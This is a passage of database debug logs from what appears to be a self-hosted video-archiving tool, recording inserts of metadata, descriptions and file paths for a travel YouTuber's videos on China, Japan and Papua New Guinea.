~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 20:01:03.259 [debug] QUERY OK source="sources" db=0.1ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.260 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 20:01:03.261 [debug] QUERY OK source="media_items" db=0.6ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "95595750-931e-47dc-af88-973b010dfee7", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 20:01:03.261 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.262 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 20:01:03.263 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "f540abfb-97d4-4402-8054-0bfec3202603", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 20:01:03.263 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.263 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 20:01:03.265 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "134ac2ba-2f2e-4c9a-9efc-27209d2d5aac", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 20:01:03.265 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.265 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 20:01:03.266 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "3843172b-c391-4494-890a-8ab456fe064d", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 20:01:03.267 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.267 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 20:01:03.269 [debug] QUERY OK source="media_items" db=0.9ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "b0ae2139-345c-49a6-a9a3-5472c33924c8", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 20:01:03.269 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.269 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 20:01:03.271 [debug] QUERY OK source="media_items" db=1.0ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "82c192c1-bbeb-4b75-afa2-32640fec4d1f", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 20:01:03.271 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.272 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 20:01:03.274 [debug] QUERY OK source="media_items" db=2.4ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "b6e38e6a-6b9a-4dbe-8927-4a3ff8dd311e", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 03:01:03Z], ~U[2026-08-20 03:01:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 20:01:03.275 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:01:03.275 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = 